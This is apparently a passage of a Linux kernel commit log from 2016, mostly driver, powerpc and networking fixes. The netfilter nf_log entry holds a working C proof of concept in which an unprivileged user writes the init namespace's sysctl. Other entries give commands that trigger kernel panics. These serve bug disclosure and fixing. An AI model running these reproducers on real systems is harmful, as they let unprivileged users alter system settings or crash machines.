mfd: ucb1x00: Allow IRQ probing to work with IRQs > 32
probe_irq_on() only returns non-zero if it found any interrupts below
IRQ32 which could be probe candidates. If all the probable interrupts
are higher than 32, then this will cause a failure. Fix this.
Signed-off-by: Russell King <rmk+kernel@armlinux.org.uk>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Linus Walleij [Thu, 18 Aug 2016 18:40:45 +0000 (20:40 +0200)]
mfd: qcom_rpm: Handle message RAM clock
The MSM8660, APQ8060, IPQ806x and MSM8960 have a GCC clock
to the message RAM used by the RPM. This needs to be enabled
for messages to pass through. This is a crude solution that
simply prepare/enable at probe() and disable/unprepare
at remove(). More elaborate PM is probably possible to
add later.
The construction uses IS_ERR() to gracefully handle the
platforms that do not provide a message RAM clock. It will
bail out of probe only if the clock is hitting a probe
deferral situation.
Of course this requires the proper device tree set-up:
rpm: rpm@104000 {
compatible = "qcom,rpm-msm8660";
clocks = <&gcc RPM_MSG_RAM_H_CLK>;
clock-names = "ram";
...
};
I have provided this in the MSM8660 device tree, and will
provide patches for the other targets.
Cc: Björn Andersson <bjorn.andersson@linaro.org>
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Krzysztof Kozlowski [Wed, 17 Aug 2016 12:07:42 +0000 (14:07 +0200)]
mfd: max14577: Change Krzysztof Kozlowski's email to
Change my email address to kernel.org instead of Samsung one for the
purpose of any future contact. The copyrights remain untouched and are
attributed to Samsung.
Signed-off-by: Krzysztof Kozlowski <k.kozlowski@samsung.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Keerthy [Mon, 8 Aug 2016 05:46:55 +0000 (11:16 +0530)]
Documentation: mfd: Add DT bindings for the LP873X
The lp873x series of PMICs have a bunch of regulators and a couple
of GPO(General Purpose Outputs).
Add information for the MFD and regulator drivers.
Signed-off-by: Keerthy <j-keerthy@ti.com>
Acked-by: Rob Herring <robh@kernel.org>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Bin Gao [Thu, 21 Jul 2016 00:33:56 +0000 (17:33 -0700)]
mfd: intel_soc_pmic_bxtwc: Add bxt_wcove_usbc device
The Intel Whiskey Cove PMIC includes several function units, e.g.
ADC, thermal, USB Type-C, GPIO, etc. The corresponding device has
to be created in the mfd driver(intel_soc_pmic_bxtwc.c). This change
adds the USB Type-c device.
Signed-off-by: Bin Gao <bin.gao@intel.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Mika Westerberg [Mon, 4 Jul 2016 15:24:54 +0000 (18:24 +0300)]
mfd: lpss: Add Intel Kaby Lake PCH-H PCI IDs
Intel Kaby Lake PCH-H has the same LPSS than Intel Sunrisepoint. Add the new
IDs to the list of supported devices.
Signed-off-by: Mika Westerberg <mika.westerberg@linux.intel.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Dan Carpenter [Thu, 4 Aug 2016 05:26:56 +0000 (08:26 +0300)]
mfd: 88pm80x: Double shifting bug in suspend/resume
set_bit() and clear_bit() take the bit number so this code is really
doing "1 << (1 << irq)" which is a double shift bug. It's done
consistently so it won't cause a problem unless "irq" is more than 4.
Fixes:
70c6cce04066 ('mfd: Support 88pm80x in 80x driver')
Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Axel Lin [Fri, 5 Aug 2016 06:40:31 +0000 (14:40 +0800)]
mfd: altera-a10sr: Make altr_a10sr_regmap_config static const
It's only used in this driver and never get modified, make it static const.
Signed-off-by: Axel Lin <axel.lin@ingics.com>
Reviewed-by: Thor Thayer <tthayer@opensource.altera.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Uwe Kleine-König [Fri, 29 Jul 2016 19:29:15 +0000 (21:29 +0200)]
mfd: wm8350-i2c: Make sure the i2c regmap functions are compiled
This fixes a compile failure:
drivers/built-in.o: In function `wm8350_i2c_probe':
core.c:(.text+0x828b0): undefined reference to `__devm_regmap_init_i2c'
Makefile:953: recipe for target 'vmlinux' failed
Fixes:
52b461b86a9f ("mfd: Add regmap cache support for wm8350")
Signed-off-by: Uwe Kleine-König <u.kleine-koenig@pengutronix.de>
Acked-by: Charles Keepax <ckeepax@opensource.wolfsonmicro.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Steve Twiss [Mon, 8 Aug 2016 13:16:11 +0000 (14:16 +0100)]
mfd: da9063: Update author information to remove incorrect e-mail addresses
Remove incorrect e-mail addresses from the copyright header and
MODULE_AUTHOR() macro. These e-mail addresses are no longer in use.
The author names have not been changed, only the e-mail addresses have
been deleted from the source files.
Signed-off-by: Steve Twiss <stwiss.opensource@diasemi.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Maxime Ripard [Wed, 20 Jul 2016 14:11:37 +0000 (16:11 +0200)]
mfd: axp20x: Add AXP209 GPIO support
Now that we have a GPIO driver for the AXP209, we can add it to our MFD.
Signed-off-by: Maxime Ripard <maxime.ripard@free-electrons.com>
Acked-by: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Peter Chen [Fri, 15 Jul 2016 09:38:46 +0000 (17:38 +0800)]
mfd: qcom_rpm: Add missing of_node_put after calling of_parse_phandle
of_node_put needs to be called when the device node which is got
from of_parse_phandle has finished using.
Signed-off-by: Peter Chen <peter.chen@nxp.com>
Reviewed-by: Bjorn Andersson <bjorn.andersson@linaro.org>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Lee Jones [Tue, 4 Oct 2016 14:47:01 +0000 (15:47 +0100)]
Merge branches 'ib-mfd-gpio-4.9', 'ib-mfd-gpio-regulator-4.9', 'ib-mfd-input-4.9', 'ib-mfd-regulator-4.9', 'ib-mfd-regulator-4.9.1', 'ib-mfd-regulator-rtc-4.9', 'ib-mfd-regulator-rtc-4.9-1' and 'ib-mfd-rtc-4.9' into ibs-for-mfd-merged
Sylwester Nawrocki [Fri, 2 Sep 2016 15:52:46 +0000 (16:52 +0100)]
mfd: arizona: Add gating of external MCLKn clocks
This patch adds requesting of the clocks supplied on MCLK1, MCLK2 pins,
gating of the 32k clock is added to the arizona_clk32k_enable(),
arizona_clk32k_disable() helpers.
It's a temporary change until the CODEC's clock controller gets exposed
through the clk API and is helpful for board configurations where the
MCLK clocks are not provided by always on oscillators.
Signed-off-by: Sylwester Nawrocki <s.nawrocki@samsung.com>
Signed-off-by: Charles Keepax <ckeepax@opensource.wolfsonmicro.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Lucas Stach [Fri, 30 Sep 2016 15:27:52 +0000 (17:27 +0200)]
dt-bindings: add vendor prefix for Auvidea GmbH
Auvidea (http://www.auvidea.eu/) produces embedded devices and
baseboards with a focus on audio and video technology.
Signed-off-by: Lucas Stach <l.stach@pengutronix.de>
Signed-off-by: Rob Herring <robh@kernel.org>
Naveen N. Rao [Fri, 23 Sep 2016 20:35:02 +0000 (02:05 +0530)]
powerpc/bpf: Add support for bpf constant blinding
In line with similar support for other architectures by Daniel Borkmann.
'MOD Default X' from test_bpf without constant blinding:
84 bytes emitted from JIT compiler (pass:3, flen:7)
d0000000058a4688 + <x>:
0: nop
4: nop
8: std r27,-40(r1)
c: std r28,-32(r1)
10: xor r8,r8,r8
14: xor r28,r28,r28
18: mr r27,r3
1c: li r8,66
20: cmpwi r28,0
24: bne 0x0000000000000030
28: li r8,0
2c: b 0x0000000000000044
30: divwu r9,r8,r28
34: mullw r9,r28,r9
38: subf r8,r9,r8
3c: rotlwi r8,r8,0
40: li r8,66
44: ld r27,-40(r1)
48: ld r28,-32(r1)
4c: mr r3,r8
50: blr
... and with constant blinding:
140 bytes emitted from JIT compiler (pass:3, flen:11)
d00000000bd6ab24 + <x>:
0: nop
4: nop
8: std r27,-40(r1)
c: std r28,-32(r1)
10: xor r8,r8,r8
14: xor r28,r28,r28
18: mr r27,r3
1c: lis r2,-22834
20: ori r2,r2,36083
24: rotlwi r2,r2,0
28: xori r2,r2,36017
2c: xoris r2,r2,42702
30: rotlwi r2,r2,0
34: mr r8,r2
38: rotlwi r8,r8,0
3c: cmpwi r28,0
40: bne 0x000000000000004c
44: li r8,0
48: b 0x000000000000007c
4c: divwu r9,r8,r28
50: mullw r9,r28,r9
54: subf r8,r9,r8
58: rotlwi r8,r8,0
5c: lis r2,-17137
60: ori r2,r2,39065
64: rotlwi r2,r2,0
68: xori r2,r2,39131
6c: xoris r2,r2,48399
70: rotlwi r2,r2,0
74: mr r8,r2
78: rotlwi r8,r8,0
7c: ld r27,-40(r1)
80: ld r28,-32(r1)
84: mr r3,r8
88: blr
Signed-off-by: Naveen N. Rao <naveen.n.rao@linux.vnet.ibm.com>
Acked-by: Daniel Borkmann <daniel@iogearbox.net>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Naveen N. Rao [Fri, 23 Sep 2016 20:35:01 +0000 (02:05 +0530)]
powerpc/bpf: Implement support for tail calls
Tail calls allow JIT'ed eBPF programs to call into other JIT'ed eBPF
programs. This can be achieved either by:
(1) retaining the stack setup by the first eBPF program and having all
subsequent eBPF programs re-using it, or,
(2) by unwinding/tearing down the stack and having each eBPF program
deal with its own stack as it sees fit.
To ensure that this does not create loops, there is a limit to how many
tail calls can be done (currently 32). This requires the JIT'ed code to
maintain a count of the number of tail calls done so far.
Approach (1) is simple, but requires every eBPF program to have (almost)
the same prologue/epilogue, regardless of whether they need it. This is
inefficient for small eBPF programs which may not sometimes need a
prologue at all. As such, to minimize impact of tail call
implementation, we use approach (2) here which needs each eBPF program
in the chain to use its own prologue/epilogue. This is not ideal when
many tail calls are involved and when all the eBPF programs in the chain
have similar prologue/epilogue. However, the impact is restricted to
programs that do tail calls. Individual eBPF programs are not affected.
We maintain the tail call count in a fixed location on the stack and
updated tail call count values are passed in through this. The very
first eBPF program in a chain sets this up to 0 (the first 2
instructions). Subsequent tail calls skip the first two eBPF JIT
instructions to maintain the count. For programs that don't do tail
calls themselves, the first two instructions are NOPs.
Signed-off-by: Naveen N. Rao <naveen.n.rao@linux.vnet.ibm.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Naveen N. Rao [Fri, 23 Sep 2016 20:35:00 +0000 (02:05 +0530)]
powerpc/bpf: Introduce accessors for using the tmp local stack space
While at it, ensure that the location of the local save area is
consistent whether or not we setup our own stackframe. This property is
utilised in the next patch that adds support for tail calls.
Signed-off-by: Naveen N. Rao <naveen.n.rao@linux.vnet.ibm.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Michael Ellerman [Fri, 30 Sep 2016 00:51:46 +0000 (10:51 +1000)]
powerpc/fadump: Fix build break when CONFIG_PROC_VMCORE=n
The fadump code calls vmcore_cleanup() which only exists if
CONFIG_PROC_VMCORE=y. We don't want to depend on CONFIG_PROC_VMCORE,
because it's user selectable, so just wrap the call in an #ifdef.
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Cyril Bur [Wed, 14 Sep 2016 08:02:16 +0000 (18:02 +1000)]
powerpc: tm: Enable transactional memory (TM) lazily for userspace
Currently the MSR TM bit is always set if the hardware is TM capable.
This adds extra overhead as it means the TM SPRS (TFHAR, TEXASR and
TFAIR) must be swapped for each process regardless of if they use TM.
For processes that don't use TM the TM MSR bit can be turned off
allowing the kernel to avoid the expensive swap of the TM registers.
A TM unavailable exception will occur if a thread does use TM and the
kernel will enable MSR_TM and leave it so for some time afterwards.
Signed-off-by: Cyril Bur <cyrilbur@gmail.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Cyril Bur [Wed, 14 Sep 2016 08:02:15 +0000 (18:02 +1000)]
powerpc/tm: Add TM Unavailable Exception
If the kernel disables transactional memory (TM) and userspace still
tries TM related actions (TM instructions or TM SPR accesses) TM aware
hardware will cause the kernel to take a facility unavailable
exception.
Add checks for the exception being caused by illegal TM access in
userspace.
Signed-off-by: Cyril Bur <cyrilbur@gmail.com>
[mpe: Rewrite comment entirely, bugs in it are mine]
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Cyril Bur [Fri, 23 Sep 2016 06:18:26 +0000 (16:18 +1000)]
powerpc: Remove do_load_up_transact_{fpu,altivec}
Previous rework of TM code leaves these functions unused
Signed-off-by: Cyril Bur <cyrilbur@gmail.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Cyril Bur [Fri, 23 Sep 2016 06:18:25 +0000 (16:18 +1000)]
powerpc: tm: Rename transct_(*) to ck(\1)_state
Make the structures being used for checkpointed state named
consistently with the pt_regs/ckpt_regs.
Signed-off-by: Cyril Bur <cyrilbur@gmail.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Cyril Bur [Fri, 23 Sep 2016 06:18:24 +0000 (16:18 +1000)]
powerpc: tm: Always use fp_state and vr_state to store live registers
There is currently an inconsistency as to how the entire CPU register
state is saved and restored when a thread uses transactional memory
(TM).
Using transactional memory results in the CPU having duplicated
(almost) all of its register state. This duplication results in a set
of registers which can be considered 'live', those being currently
modified by the instructions being executed and another set that is
frozen at a point in time.
On context switch, both sets of state have to be saved and (later)
restored. These two states are often called a variety of different
things. Common terms for the state which only exists after the CPU has
entered a transaction (performed a TBEGIN instruction) in hardware are
'transactional' or 'speculative'.
Between a TBEGIN and a TEND or TABORT (or an event that causes the
hardware to abort), regardless of the use of TSUSPEND the
transactional state can be referred to as the live state.
The second state is often to referred to as the 'checkpointed' state
and is a duplication of the live state when the TBEGIN instruction is
executed. This state is kept in the hardware and will be rolled back
to on transaction failure.
Currently all the registers stored in pt_regs are ALWAYS the live
registers, that is, when a thread has transactional registers their
values are stored in pt_regs and the checkpointed state is in
ckpt_regs. A strange opposite is true for fp_state/vr_state. When a
thread is non transactional fp_state/vr_state holds the live
registers. When a thread has initiated a transaction fp_state/vr_state
holds the checkpointed state and transact_fp/transact_vr become the
structure which holds the live state (at this point it is a
transactional state).
This method creates confusion as to where the live state is, in some
circumstances it requires extra work to determine where to put the
live state and prevents the use of common functions designed (probably
before TM) to save the live state.
With this patch pt_regs, fp_state and vr_state all represent the
same thing and the other structures [pending rename] are for
checkpointed state.
Acked-by: Simon Guo <wei.guo.simon@gmail.com>
Signed-off-by: Cyril Bur <cyrilbur@gmail.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Cyril Bur [Fri, 23 Sep 2016 06:18:23 +0000 (16:18 +1000)]
selftests/powerpc: Add checks for transactional VSXs in signal contexts
If a thread receives a signal while transactional the kernel creates a
second context to show the transactional state of the process. This
test loads some known values and waits for a signal and confirms that
the expected values are in the signal context.
Signed-off-by: Cyril Bur <cyrilbur@gmail.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Cyril Bur [Fri, 23 Sep 2016 06:18:22 +0000 (16:18 +1000)]
selftests/powerpc: Add checks for transactional VMXs in signal contexts
If a thread receives a signal while transactional the kernel creates a
second context to show the transactional state of the process. This
test loads some known values and waits for a signal and confirms that
the expected values are in the signal context.
Signed-off-by: Cyril Bur <cyrilbur@gmail.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Cyril Bur [Fri, 23 Sep 2016 06:18:21 +0000 (16:18 +1000)]
selftests/powerpc: Add checks for transactional FPUs in signal contexts
If a thread receives a signal while transactional the kernel creates a
second context to show the transactional state of the process. This
test loads some known values and waits for a signal and confirms that
the expected values are in the signal context.
Signed-off-by: Cyril Bur <cyrilbur@gmail.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Cyril Bur [Fri, 23 Sep 2016 06:18:20 +0000 (16:18 +1000)]
selftests/powerpc: Add checks for transactional GPRs in signal contexts
If a thread receives a signal while transactional the kernel creates a
second context to show the transactional state of the process. This
test loads some known values and waits for a signal and confirms that
the expected values are in the signal context.
Signed-off-by: Cyril Bur <cyrilbur@gmail.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Cyril Bur [Fri, 23 Sep 2016 06:18:19 +0000 (16:18 +1000)]
selftests/powerpc: Check that signals always get delivered
Signed-off-by: Cyril Bur <cyrilbur@gmail.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Cyril Bur [Fri, 23 Sep 2016 06:18:18 +0000 (16:18 +1000)]
selftests/powerpc: Add TM tcheck helpers in C
Signed-off-by: Cyril Bur <cyrilbur@gmail.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Cyril Bur [Fri, 23 Sep 2016 06:18:17 +0000 (16:18 +1000)]
selftests/powerpc: Allow tests to extend their kill timeout
Signed-off-by: Cyril Bur <cyrilbur@gmail.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Cyril Bur [Fri, 23 Sep 2016 06:18:16 +0000 (16:18 +1000)]
selftests/powerpc: Introduce GPR asm helper header file
Signed-off-by: Cyril Bur <cyrilbur@gmail.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Cyril Bur [Fri, 23 Sep 2016 06:18:15 +0000 (16:18 +1000)]
selftests/powerpc: Move VMX stack frame macros to header file
Signed-off-by: Cyril Bur <cyrilbur@gmail.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Cyril Bur [Fri, 23 Sep 2016 06:18:14 +0000 (16:18 +1000)]
selftests/powerpc: Rework FPU stack placement macros and move to header file
The FPU regs are placed at the top of the stack frame. Currently the
position expected to be passed to the macro. The macros now should be
passed the stack frame size and from there they can calculate where to
put the regs, this makes the use simpler.
Also move them to a header file to be used in an different area of the
powerpc selftests
Signed-off-by: Cyril Bur <cyrilbur@gmail.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Cyril Bur [Fri, 23 Sep 2016 06:18:13 +0000 (16:18 +1000)]
selftests/powerpc: Check for VSX preservation across userspace preemption
Ensure the kernel correctly switches VSX registers correctly. VSX
registers are all volatile, and despite the kernel preserving VSX
across syscalls, it doesn't have to. Test that during interrupts and
timeslices ending the VSX regs remain the same.
Signed-off-by: Cyril Bur <cyrilbur@gmail.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Johannes Berg [Tue, 4 Oct 2016 07:22:19 +0000 (09:22 +0200)]
Merge remote-tracking branch 'net-next/master' into mac80211-next
Resolve the merge conflict between Felix's/my and Toke's patches
coming into the tree through net and mac80211-next respectively.
Most of Felix's changes go away due to Toke's new infrastructure
work, my patch changes to "goto begin" (the label wasn't there
before) instead of returning NULL so flow control towards drivers
is preserved better.
Signed-off-by: Johannes Berg <johannes.berg@intel.com>
Liping Zhang [Tue, 27 Sep 2016 12:49:19 +0000 (20:49 +0800)]
netfilter: nft_limit: fix divided by zero panic
After I input the following nftables rule, a panic happened on my system:
# nft add rule filter OUTPUT limit rate 0xf00000000 bytes/second
divide error: 0000 [#1] SMP
[ ... ]
RIP: 0010:[<
ffffffffa059035e>] [<
ffffffffa059035e>]
nft_limit_pkt_bytes_eval+0x2e/0xa0 [nft_limit]
Call Trace:
[<
ffffffffa05721bb>] nft_do_chain+0xfb/0x4e0 [nf_tables]
[<
ffffffffa044f236>] ? nf_nat_setup_info+0x96/0x480 [nf_nat]
[<
ffffffff81753767>] ? ipt_do_table+0x327/0x610
[<
ffffffffa044f677>] ? __nf_nat_alloc_null_binding+0x57/0x80 [nf_nat]
[<
ffffffffa058b21f>] nft_ipv4_output+0xaf/0xd0 [nf_tables_ipv4]
[<
ffffffff816f4aa2>] nf_iterate+0x62/0x80
[<
ffffffff816f4b33>] nf_hook_slow+0x73/0xd0
[<
ffffffff81703d0d>] __ip_local_out+0xcd/0xe0
[<
ffffffff81701d90>] ? ip_forward_options+0x1b0/0x1b0
[<
ffffffff81703d3c>] ip_local_out+0x1c/0x40
This is because divisor is 64-bit, but we treat it as a 32-bit integer,
then 0xf00000000 becomes zero, i.e. divisor becomes 0.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Jann Horn [Sun, 18 Sep 2016 19:40:55 +0000 (21:40 +0200)]
netfilter: fix namespace handling in nf_log_proc_dostring
nf_log_proc_dostring() used current's network namespace instead of the one
corresponding to the sysctl file the write was performed on. Because the
permission check happens at open time and the nf_log files in namespaces
are accessible for the namespace owner, this can be abused by an
unprivileged user to effectively write to the init namespace's nf_log
sysctls.
Stash the "struct net *" in extra2 - data and extra1 are already used.
Repro code:
#define _GNU_SOURCE
#include <stdlib.h>
#include <sched.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
char child_stack[
1000000];
uid_t outer_uid;
gid_t outer_gid;
int stolen_fd = -1;
void writefile(char *path, char *buf) {
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "unable to open thing");
if (write(fd, buf, strlen(buf)) != strlen(buf))
err(1, "unable to write thing");
close(fd);
}
int child_fn(void *p_) {
if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
NULL))
err(1, "mount");
/* Yes, we need to set the maps for the net sysctls to recognize us
* as namespace root.
*/
char buf[1000];
sprintf(buf, "0 %d 1\n", (int)outer_uid);
writefile("/proc/1/uid_map", buf);
writefile("/proc/1/setgroups", "deny");
sprintf(buf, "0 %d 1\n", (int)outer_gid);
writefile("/proc/1/gid_map", buf);
stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
if (stolen_fd == -1)
err(1, "open nf_log");
return 0;
}
int main(void) {
outer_uid = getuid();
outer_gid = getgid();
int child = clone(child_fn, child_stack + sizeof(child_stack),
CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
|CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
if (child == -1)
err(1, "clone");
int status;
if (wait(&status) != child)
err(1, "wait");
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
errx(1, "child exit status bad");
char *data = "NONE";
if (write(stolen_fd, data, strlen(data)) != strlen(data))
err(1, "write");
return 0;
}
Repro:
$ gcc -Wall -o attack attack.c -std=gnu99
$ cat /proc/sys/net/netfilter/nf_log/2
nf_log_ipv4
$ ./attack
$ cat /proc/sys/net/netfilter/nf_log/2
NONE
Because this looks like an issue with very low severity, I'm sending it to
the public list directly.
Signed-off-by: Jann Horn <jann@thejh.net>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
David S. Miller [Tue, 4 Oct 2016 06:11:58 +0000 (02:11 -0400)]
Merge branch 'ncsi-next'
Gavin Shan says:
====================
net/ncsi: NCSI Improvment and bug fixes
This series of patches improves NCSI stack according to the comments
I received after the NCSI code was merged to 4.8.rc1:
* PATCH[1/8] fixes the build warning caused by xchg() with ia64-linux-gcc.
The atomic operations are removed. The NCSI's lock should be taken when
reading or updating its state and chained state.
* Channel ID (0x1f) is the reserved one and it cannot be valid channel ID.
So we needn't try to probe channel whose ID is 0x1f. PATCH[2/8] and
PATCH[3/8] are addressing this issue.
* The request IDs are assigned in round-robin fashion, but it's broken.
PATCH[4/8] make it work.
* PATCH[5/8] and PATCH[6/8] reworks the channel monitoring to improve the
code readability and its robustness.
* PATCH[7/8] and PATCH[8/8] introduces ncsi_stop_dev() so that the network
device can be closed and opened afterwards. No error will be seen.
Changelog
=========
v2:
* The NCSI's lock is taken when reading or updating its state as the
{READ,WRITE}_ONCE() isn't reliable.
====================
Signed-off-by: David S. Miller <davem@davemloft.net>
Gavin Shan [Tue, 4 Oct 2016 00:25:54 +0000 (11:25 +1100)]
net/faraday: Stop NCSI device on shutdown
This stops NCSI device when closing the network device so that the
NCSI device can be reenabled later.
Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
Reviewed-by: Joel Stanley <joel@jms.id.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
Gavin Shan [Tue, 4 Oct 2016 00:25:53 +0000 (11:25 +1100)]
net/ncsi: Introduce ncsi_stop_dev()
This introduces ncsi_stop_dev(), as counterpart to ncsi_start_dev(),
to stop the NCSI device so that it can be reenabled in future. This
API should be called when the network device driver is going to
shutdown the device. There are 3 things done in the function: Stop
the channel monitoring; Reset channels to inactive state; Report
NCSI link down.
Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
Reviewed-by: Joel Stanley <joel@jms.id.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
Gavin Shan [Tue, 4 Oct 2016 00:25:52 +0000 (11:25 +1100)]
net/ncsi: Rework the channel monitoring
The original NCSI channel monitoring was implemented based on a
backoff algorithm: the GLS response should be received in the
specified interval. Otherwise, the channel is regarded as dead
and failover should be taken if current channel is an active one.
There are several problems in the implementation: (A) On BCM5718,
we found when the IID (Instance ID) in the GLS command packet
changes from 255 to 1, the response corresponding to IID#1 never
comes in. It means we cannot make the unfair judgement that the
channel is dead when one response is missed. (B) The code's
readability should be improved. (C) We should do failover when
current channel is active one and the channel monitoring should
be marked as disabled before doing failover.
This reworks the channel monitoring to address all above issues.
The fields for channel monitoring is put into separate struct
and the state of channel monitoring is predefined. The channel
is regarded alive if the network controller responses to one of
two GLS commands or both of them in 5 seconds.
Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
Reviewed-by: Joel Stanley <joel@jms.id.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
Gavin Shan [Tue, 4 Oct 2016 00:25:51 +0000 (11:25 +1100)]
net/ncsi: Allow to extend NCSI request properties
There is only one NCSI request property for now: the response for
the sent command need drive the workqueue or not. So we had one
field (@driven) for the purpose. We lost the flexibility to extend
NCSI request properties.
This replaces @driven with @flags and @req_flags in NCSI request
and NCSI command argument struct. Each bit of the newly introduced
field can be used for one property. No functional changes introduced.
Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
Reviewed-by: Joel Stanley <joel@jms.id.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
Gavin Shan [Tue, 4 Oct 2016 00:25:50 +0000 (11:25 +1100)]
net/ncsi: Rework request index allocation
The NCSI request index (struct ncsi_request::id) is put into instance
ID (IID) field while sending NCSI command packet. It was designed the
available IDs are given in round-robin fashion. @ndp->request_id was
introduced to represent the next available ID, but it has been used
as number of successively allocated IDs. It breaks the round-robin
design. Besides, we shouldn't put 0 to NCSI command packet's IID
field, meaning ID#0 should be reserved according section 6.3.1.1
in NCSI spec (v1.1.0).
This fixes above two issues. With it applied, the available IDs will
be assigned in round-robin fashion and ID#0 won't be assigned.
Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
Reviewed-by: Joel Stanley <joel@jms.id.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
Gavin Shan [Tue, 4 Oct 2016 00:25:49 +0000 (11:25 +1100)]
net/ncsi: Don't probe on the reserved channel ID (0x1f)
We needn't send CIS (Clear Initial State) command to the NCSI
reserved channel (0x1f) in the enumeration. We shouldn't receive
a valid response from CIS on NCSI channel 0x1f.
Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
Reviewed-by: Joel Stanley <joel@jms.id.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
Gavin Shan [Tue, 4 Oct 2016 00:25:48 +0000 (11:25 +1100)]
net/ncsi: Introduce NCSI_RESERVED_CHANNEL
This defines NCSI_RESERVED_CHANNEL as the reserved NCSI channel
ID (0x1f). No logical changes introduced.
Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
Reviewed-by: Joel Stanley <joel@jms.id.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
Gavin Shan [Tue, 4 Oct 2016 00:25:47 +0000 (11:25 +1100)]
net/ncsi: Avoid unused-value build warning from ia64-linux-gcc
xchg() is used to set NCSI channel's state in order for consistent
access to the state. xchg()'s return value should be used. Otherwise,
one build warning will be raised (with -Wunused-value) as below message
indicates. It is reported by ia64-linux-gcc (GCC) 4.9.0.
net/ncsi/ncsi-manage.c: In function 'ncsi_channel_monitor':
arch/ia64/include/uapi/asm/cmpxchg.h:56:2: warning: value computed is \
not used [-Wunused-value]
((__typeof__(*(ptr))) __xchg((unsigned long) (x), (ptr), sizeof(*(ptr))))
^
net/ncsi/ncsi-manage.c:202:3: note: in expansion of macro 'xchg'
xchg(&nc->state, NCSI_CHANNEL_INACTIVE);
This removes the atomic access to NCSI channel's state avoid the above
build warning. We have to hold the channel's lock when its state is readed
or updated. No functional changes introduced.
Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
Reviewed-by: Joel Stanley <joel@jms.id.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
Andrew Collins [Mon, 3 Oct 2016 19:43:02 +0000 (13:43 -0600)]
net: Add netdev all_adj_list refcnt propagation to fix panic
This is a respin of a patch to fix a relatively easily reproducible kernel
panic related to the all_adj_list handling for netdevs in recent kernels.
The following sequence of commands will reproduce the issue:
ip link add link eth0 name eth0.100 type vlan id 100
ip link add link eth0 name eth0.200 type vlan id 200
ip link add name testbr type bridge
ip link set eth0.100 master testbr
ip link set eth0.200 master testbr
ip link add link testbr mac0 type macvlan
ip link delete dev testbr
This creates an upper/lower tree of (excuse the poor ASCII art):
/---eth0.100-eth0
mac0-testbr-
\---eth0.200-eth0
When testbr is deleted, the all_adj_lists are walked, and eth0 is deleted twice from
the mac0 list. Unfortunately, during setup in __netdev_upper_dev_link, only one
reference to eth0 is added, so this results in a panic.
This change adds reference count propagation so things are handled properly.
Matthias Schiffer reported a similar crash in batman-adv:
https://github.com/freifunk-gluon/gluon/issues/680
https://www.open-mesh.org/issues/247
which this patch also seems to resolve.
Signed-off-by: Andrew Collins <acollins@cradlepoint.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Cyril Bur [Fri, 23 Sep 2016 06:18:12 +0000 (16:18 +1000)]
powerpc: signals: Stop using current in signal code
Much of the signal code takes a pt_regs on which it operates. Over
